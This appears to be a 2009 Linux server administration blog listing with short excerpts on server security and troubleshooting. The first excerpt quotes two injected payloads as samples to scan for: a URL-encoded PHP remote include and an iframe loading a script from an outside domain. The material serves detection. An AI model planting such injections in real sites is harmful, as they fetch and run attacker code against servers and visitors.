Published on : April 21, 2009 by George K.
Do you really need to do virus scan to ensure Linux server security ? Sometimes yes. With the recent high level of iframe/php include/js injections, it seems we need to scan the pages for iframe injections, like below < ? php include(urldecode("%68%74%74%70%3a%2f%2f%62%75%79%34%6d%65%2e%69%6e%66%6f%2f%73%63%72%2f%31%30%2e%74%78%74")); ? > < iframe src=http://ms.nesseseni.cn/src.js >< /iframe > Below are a few URLs […]
Published on : April 19, 2009 by Vijesh Vijayan
An Intrusion detection system (or IDS) is a software or hardware designed to detect unwanted attempts at accessing, manipulating, and/or disabling of computer systems through a network.AIDE is useful in server security services. Some of the best IDS applications know are Snort, Untangle, Tripwire, AIDE etc. Among the simplest to configure and use is AIDE. […]
Published on : April 18, 2009 by George K.
When we try to execute a command at the shell, we make mistakes like missing out a character or misspell it. Do you know you can correct them without having to type the command again or taking the history and changing them ? See the following example to understand the use of bash shell caret! […]
Published on : April 16, 2009 by George K.
With CentOS 5.3 released on 1st April of this year, more udev related issues crops in. I don’t know when OpenVZ support will get better in its thinking. Issue is there in every VPS who has got the udev upgraded as a result of no excludes in yum.conf entries. Two solutions exists as per http://wiki.openvz.org/Container_enter_failed […]
Published on : April 14, 2009 by George K.
The issue was while trying to Plesk webmail Horde,the login page reloads and does not login into webmail.The Operating System was Linux No one was able to login to default Plesk webmail, horde. Enabled error reporting in php.ini and got the error message as below in the “/etc/httpd/logs/error_log” and/or “/var/log/psa-horde/psa-horde.log” PHP Warning: Unknown(): Failed to […]
